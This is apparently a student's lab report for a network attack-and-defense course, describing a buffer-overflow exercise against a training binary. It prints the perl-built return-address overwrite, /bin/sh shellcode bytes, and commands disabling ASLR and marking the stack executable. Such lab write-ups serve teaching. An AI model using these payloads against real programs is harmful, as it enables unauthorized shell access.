20221909 2022-2023-2 《网络攻防实践》实践9作业

20221909 2022-2023-2网络攻防实践》第1周作业 实践 阅读详情

20221909 2022-2023-2 《网络攻防实践》实践9作业

一.实验内容

(一)知识点

1.反汇编

(1)反汇编的定义

反汇编(Disassembly):把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思,常用于软件破解(例如找到它是如何注册的,从而解出它的注册码或者编写注册机)、外挂技术、病毒分析、逆向工程、软件汉化等领域。学习和理解反汇编语言对软件调试、漏洞分析、OS的内核原理及理解高级语言代码都有相当大的帮助,在此过程中我们可以领悟到软件作者的编程思想。总之一句话:软件一切神秘的运行机制全在反汇编代码里面。

(2)反汇编的且的

反汇编的目的在于研究和修改程序代码。将二进制代码转换为汇编代码后,我们可以理解程序的操作和逻辑,更容易进行代码分析和修改。

(3)反汇编的工具

常用的反汇编工具有IDA Pro,0llyDbg等。它们可以在不运行程序的情况下分析程序的代码,帮助我们理解程序的逻辑和结构。

(4)反汇编的方法

反汇编可以分为静态反汇编和动态反汇编两种方法。静态反汇编是通过分析二进制文件进行反汇编,而动态反汇编则是基于程序运行时的反汇编。两种方法各有优缺点,需要根据实际情况选择合适的方法。

2.十六进制编辑器

十六进制编辑器是用于编辑单个字节数据的软件应用程序,主要由程序员或系统管理员使用。
常规文本编辑器和十六进制编辑器之间的区别在于常规编辑器表示文件的逻辑内容,而十六进制编辑器表示文件的物理内容。十六进制编辑器可以让你以十六进制的形式查看或编辑文件的二进制数据,并用较为友好的界面来编辑二进制数据。对于需要处理二进制数据的用户,它非常受欢迎,例如使用十六进制编辑器可以更改游戏中的部分设置。
常用的十六进制编辑器有 Bless Hex Editor、GNOME Hex Editor、Okteta 等。和大多数编辑器一样,人们对于十六进制编辑器的要求包括功能强大、可定制性、界面美观。

3.缓冲区溢出(bof攻击)

  • 缓冲区溢出(Buffer overflow)攻击方法是很久之前就发表出来的技术,但是至今为止仍依然被广泛使用。这其中最大的原因就是目前还有很多程序很容易遭受buffer overflow(BOF)攻击。到目前为止,有许多相关对缓冲区溢出的解决方法的文档,但是大部分文档只针对技术性的方法进行说明,对于其原理和系统构造的说明非常少。但是理解BOF最不能缺少的就是对计算机在运行过程中的关于数据和结构的存储方法、函数调用和返回过程以及函数执行过程底层的准确信息。
  • 防范BOF攻击:
    • 栈保护技术
      栈保护技术是一种常见的防范 BOF攻击的技术。该技术通过在程序中插入一些特殊的代码,来检测程序中的缓冲区溢出情况。当程序检测到缓冲区溢出时,会立即终止程序的执行,从而避免了BOF攻击的发生。
    • ASLR技术
      ASLR ( Address Space Layout Randomization)技术是一种常见的防范BOF攻击的技术。该技术通过随机化程序的内存布局,来防止攻击者利用程序中的缺陷进行攻击。ASLR技术可以有效地防止BOF攻击,但是也会对程序的性能产生一定的影响。
    • NX技术
      NX (No eXecute)技术是一种常见的防范 BOF攻击的技术。该技术通过将程序的代码区和数据区进行分离,来防止攻击者将恶意代码注入到程序的缓冲区中。NX技术可以有效地防止 BOF攻击,但是也会对程序的性能产生一定的影响。
    • 编写安全的代码
      编写安全的代码是防范BOF攻击的最基本的技术措施。在编写程序时,应该遵循安全编码的规范,避免使用不安全的函数和语句,以及避免使用不可信的输入数据。此外,还应该对程序进行定期的安全审计,及时发现和修复程序中的安全漏洞。

防范BOF攻击是一项非常重要的工作。通过采取上述技术措施,可以有效地提高程序的安全性,避免 BOF攻击的发生。同时,我们也应该不断地学习和掌握新的安全技术,以应对不断变化的网络安全威胁。

(二)实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

(三)实践内容

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。

(四)实践要求

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

二.实践过程

首先更改主机名为姓名pinyin,然后将学习通下载的文件pwn1修改为pwn+学号,即pwn20221909
在这里插入图片描述

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

打开kali将pwn1文件解压并用terminal打开,输入objdump -d pwn20221909 | more命令反汇编文件。
在这里插入图片描述
在该界面输入/getShell,快速锁定到getShell、foo和main函数。
在这里插入图片描述
在main函数第4行调用8048491为foo函数的入口地址,对应指令为:e8 d7 ff ff ff,e8表示指令id,后面四个字面是要跳动的指令id,是补码形式。我们要修改可执行文件使执行call后指向804847d,也就是将call指令的目标地址由d7 ff ff ff变为c3 ff ff ff,即getShell函数入口(0x804847d - 0x080484ba= 0xff ff ff c3)。
在这里插入图片描述
用cp pwn20221909 pwn20221909_2对pwn20221909文件进行保护,防止破坏,然后输入vi pwn20221909_2对pwn20221909_2文件进行修改。
在这里插入图片描述
在这里插入图片描述
上图中的源代码格式修改起来不太容易,按esc键并输入:%!xxd将其变为16进制。
在这里插入图片描述
然后:wq 保存退出,查看文件权限ls -l
在这里插入图片描述
再次进入pwn20221909_2文件,进行修改。定位d7需要修改的地址偏移量位置,编辑选中d7将其改为c3。
在这里插入图片描述
输入:%!xxd -r还原为原格式后,:wq保存退出。在这里插入图片描述
此处验证一下 objdump -d pwn20221909_2 | more 定位过去发现已经成功修改。
在这里插入图片描述
运行结果如下
在这里插入图片描述

(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

输入 objdump -d pwn20221909| more查看pwn20221909文件调用foo函数,函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但并未检查输入的范围易存在缓冲区溢出,有BOF漏洞。仔细分析后发现foo函数存在漏洞:系统仅预留了0x1c字节的缓冲器,超出部分将发生溢出。
在这里插入图片描述
安装gdb
在这里插入图片描述

输出 gdb pwn20221909对文件pwn20221909进行调试,再输入r运行。然后输入字符串“zzzzzzzzxxxxxxxxrrrrrrrrzzzzzzzzxxxxxxxxrrrrrrrr
”,从下图可以看出显示出现缓冲区溢出错误。
在这里插入图片描述
输入info r发现eip中内容覆盖为0x78787878(“x”的ASCLL码的十六进制为78)。继续尝试发现当输入字符串过长时,第33~36个字节将会覆盖EIP的内容。所以只需这四个字符替换为 getShell 的内存地址,输给pwn20221909就会运行getShell。
在这里插入图片描述
在第一个实践中,已经知道getShell的内存地址为0804847d,故可以得到要输入的字符串为“zzzzzzzzxxxxxxxxrrrrrrrrzzzzzzzz\x7d\x84\x04\x08”
输入perl -e ‘print “zzzzzzzzxxxxxxxxrrrrrrrrzzzzzzzz\x7d\x84\x04\x08\x0a”’ > 20221909,将其生成十六进制字符串文件20221909文件,作为对pwn20221909文件的输入。再输入xxd 20221909查看文件是否符合预期。
在这里插入图片描述
接着输入(cat 20221909; cat) | ./pwn20221909,将20221909的输入,作为pwn20221909的输入。
在这里插入图片描述

(3)注入一个自己制作的shellcode并运行这段shellcode。

第一步要准备好一段shellcode,参考其他博客,使用的shellcode如下:
\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00

在root模式下输入apt-get install execstack对execstack进行安装。
在这里插入图片描述
分别输入execstack -s pwn3_20221909 设置堆栈可执行 ,execstack -q pwn3_20221909 查询文件的堆栈是否可执行。
在这里插入图片描述
输入more /proc/sys/kernel/randomize_va_space查看地址随机化的状态是否关闭,输入echo “0”> /proc/sys/kernel/randomize_va_space 关闭地址随机化,再次查询地址随机化的状态为关闭。
在这里插入图片描述
使用perl构造十六进制的37个字节的输入串输入perl -e ‘print “\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ > input_shellcode其中第33~36个字节即\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,后输入pwn3_20221909并输入(cat input_shellcode;cat) | ./pwn3_20221909运行pwn3_20221909
在这里插入图片描述
在这里插入图片描述

重新打开一个终端,输入ps -ef | grep pwn3_20221909查看pwn3_20221909的进程号。可以看出进程号为5117。
在这里插入图片描述
接着输入gdb,进入gdb调试,输入attach 5117查看pwn3_20221909进程,输入disassemble foo
在这里插入图片描述
输入 break *0x080484ae 设置断点,输入 c 继续运行,同时在pwn3_20221909进程正在运行的那个界面点击回车,使其继续执行。
在这里插入图片描述
再返回调试界面,输入info r esp命令查找地址,再输入 x/16x 0xffffd18c 可以看到0x01020304的位置在0xffffd18c 。根据我们构造的input_shellcode可知retaddr地址应为0xffffd18c +0x00000004=0xffffd190
在这里插入图片描述
构造shellcode:32个A+retaddr+nop+shellcode,输入 perl -e ‘print “A” x 32;print “\x90\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_shellcode如图所示。
在这里插入图片描述
将其作为pwn3_20221909的输入,输入 (cat input_shellcode;cat) | ./pwn3_20221909并执行程序。
在这里插入图片描述

三.学习中遇到的问题及解决

  • 问题1:验证时 objdump -d pwn2_20221909 | more,无法识别文件格式
    在这里插入图片描述
  • 问题1解决方案:使用同学的电脑成功,不知道是哪里的配置问题

四.学习感想和体会

通过本次实验,对反汇编加深了印象,这次关于缓冲溢出的相关知识的试验,使我对缓冲溢出的理论和对应的三种攻击方式有了更深刻的理解。之前对缓冲区溢出的了解主要还是停留在理论上,这次实验是在理想的环境下实现的,想要在现实中利用漏洞实现缓冲区溢出攻击,还是有些困难,但也让我意识到了这种漏洞的危险。通过这次实验,让我对Linux系统的使用更加熟悉,对linux的各种命令有了更深入的了解。在实践过程中仍然遇到很多问题,有的还没有解决办法,课下我会继续搜索,争取解决这个问题。

学习缓冲区溢出攻击的前提知识 缓冲区溢出(Buffer overflow)攻击 方法是很久之前就发表出来的技术,但是至今为止仍依然被广泛使用。这其中最大的原因就是目前还有很多程序很容易遭受buffer overflow(BOF)攻击。到目前为止,有许多相关对缓冲区溢出的解决方法的文档,但是大部分文档只针对技术性的方法进行说明,对于其原理系统构造的说明非常少。但是理解BOF最不能缺少的就是对计算机在运行过程中的关于数据结构的存储方法、函数调用返回过程以及函数执行过程底层的准确信息。 阅读详情

相关推荐

0x03-逆向-BoF基础的基础

目录 今日目标 深入 BoF BoF 的前世今生 BoF 的种类 BoF 的应对策略 物理寻址的应用 找到 Boot Sector 在内存中的前两个字节的位置 寄存器 寄存器的种类 通用寄存器 段寄存器 指针寄存器 索引寄存器 控制寄存器 段段寄存器小结 完成任务 程序拆解及必要汇编指令 org 指令 jmp 指令 times 指令 pusha popa 指令 条件控制指令 其他必要的汇编指令 总结 参考链接 今日目标 今天细看了一下 narnia2(不知道这是什

0pr 1368

嵌入式Linux二进制调试工具与可执行程序的分析工具

Linux 系统中有大量的工具可用于 ELF 文件的二进制调试,常用的工具在 GNU binutils 包中可以找到,注意你可能需要这些工具的 x86 版本 arm 版本,以便在调试环境中能够调试 x86 ELF 文件 arm ELF 文件——与交叉编译器 arm-linux-gcc 类似,我们需要所谓的“交叉调试工具”,你可以通过互联网下载别人已经编译好的 crosstool ,或者

yuyin86的专栏 1887

WinHex十六进制编辑器全功能实战指南

WinHex是由X-Ways Security开发的一款专业级十六进制编辑器与磁盘分析工具,广泛应用于数据恢复、数字取证、内存分析及信息安全等领域。其核心优势在于直接访问物理磁盘、逻辑分区、文件系统乃至内存映像的底层数据,支持扇区级读写操作。通过高度优化的缓冲机制虚拟内存映射技术,WinHex可高效处理超大文件(如磁盘镜像)而无需完全加载至RAM。WinHex 内置脚本引擎(WinHex Scripting Language, WHS),允许编写.whs脚本实现自动化数据提取。

weixin_35756624的博客 950

Github爆火!21岁理工男开源的十六进制编辑器爆赞

开源最前线(ID:OpenSourceTop) 猿妹整编综合自:https://github.com/WerWolv/ImHex十六进制编辑器,用来以16进制视图进行文本编辑编辑工具软...

Python数据之道 873

来自GitHub的系列渗透测试工具

基于最新的kali讲解,循序渐进地对攻防剖析。适合不同层次的粉丝。我希望能为大家提供切实的帮助,讲解通俗易懂,风趣幽默,风格清新活泼,学起来轻松自如,酣畅淋漓!

m0_59598029的博客 2153

狂揽2500星,开源十六进制编辑器登顶GitHub热榜

来源:机器之心本文约1200字,建议阅读5分钟本文为你介绍 GitHub 上最火的项目:十六进制编辑器。最近在 GitHub 上最火的项目是一个对视力友好的十六进制编辑器,它上线仅 5 ...

数据派THU 621

逆向及BOF基础实践

逆向及BOF基础实践 20145316 许心远   一、缓冲区溢出基础知识   缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。第一个缓冲区溢出攻击--Morris蠕虫,发生在1988年,由罗伯特,莫里斯(...

weixin_30938149的博客 460

20221909 2022-2023-2网络攻防实践实践11作业

Web浏览器渗透攻击是指通过利用浏览器的漏洞或弱点,向用户的计算机或网络环境中注入恶意代码或获取敏感信息的攻击行为。

zxr287的博客 1057

20221909 2022-2023-2网络攻防实践》第2作业

网络

zxr287的博客 260

20221909 2022-2023-2网络攻防实践》第3周作业

1

zxr287的博客 496

20221909 2022-2023-2网络攻防实践实践8作业

1、这个二进制文件的摘要为caaa6985a43225a0b3add54f44a0d4c7。PE格式:运行在Windows 2000, XP and 2003及以上版的操作系统中,使用了UPX加壳工具进行了加壳处理2、找出并解释这个二进制文件的目的:下载后门到目标主机,发动拒绝服务攻击,可远程与目标主机通信。3、识别并说明这个二进制文件所具有的不同特性:这个恶意程序会自我复制到目标主机c盘,并自动新建文件夹而不被发现,修改注册表,文件运行时自动与其他主机通信。

zxr287的博客 565

20221909 2022-2023-2网络攻防实践实践10作业

SQL注入是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。

zxr287的博客 525

20221909 2022-2023-2网络攻防实践》第4周作业

网络攻防实验环境中完成TCP/IP协议栈重点协议的攻击实验,包括ARP缓存欺骗攻击、ICMP重定向攻击、SYN Flood攻击、TCP RST攻击、TCP会话劫持攻击。

zxr287的博客 236

20221909 2022-2023-2网络攻防实践》第六周作业

Metasploit 是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当 H.D. Moore 在 2003 年发布Metasploit 时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。

zxr287的博客 262

20221909 2022-2023-2网络攻防实践实践7作业

Metasploit 是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当 H.D. Moore 在 2003 年发布Metasploit 时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。

zxr287的博客 208

20221909 2022-2023-2网络攻防实践》第5周作业

输入vim /etc/init.d/hw-snort_inline可以看到Snort_inline运行时参数,-D表示Daemon模式,-c表示读取config文件,-Q表示使用QUEUE模式,-l表示输出log文件的目录,-t表示改变程序执行时所参考的根目录位置。输入snort -c /etc/snort/snort.conf -r listen.pcap -K ascii,可以看到检测到的数据包信息,有TCP,ARP,主要是TCP。完成后,会在IP筛选列表看到添加的信息,如下图,再点击确定。

zxr287的博客 380

2.IDA-数据显示窗口(反汇编窗口、函数窗口、十六进制窗口)

当IDA加载后,3个立即可见的窗口分别为IDA-View窗口、函数窗口消息输出窗口,所有窗口都可通过View▶Open Subviews菜单打开 反汇编窗口 反汇编窗口也叫IDA-View窗口,它是操作分析二进制文件的主要工具 0.在反汇编窗口中,ESC键的作用与Web浏览器的“后退”按钮类似,遗憾的是,在打开的其他窗口中,ESC键用于关闭窗口 IDA使用术语流来表

hgy413的专栏 1万+

计算机组成与结构:数据表示实验(实验二)

实验目的 掌握汉字编码中的机内码、区位码、字形码等的编码规则。 能够在 Logisim 中利用汉字编码原理,搭建完成汉字编码字形码显示电路。 掌握奇偶校验码的编码规则,在 Logisim 中完成偶校验编码、检错及测试电路的实验。 实验内容 设计并在 Logisim 中完成相应电路,将汉字编码的机内码转换为对应区位码。 (1)实现机内码转区位码子电路 操作:将加法器的位宽从原始的8改为16。 (2)获取汉字的机内码 结构图: a在 windows“记事本”程序中,输入由“班级+姓名+学号+任意自选

匿名用户 6427
上一篇: 20221909 2022-2023-2 《网络攻防实践》实践8作业
下一篇: 20221909 2022-2023-2 《网络攻防实践》实践10作业
Yay777
博客等级 码龄6年 5粉丝 · 11原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值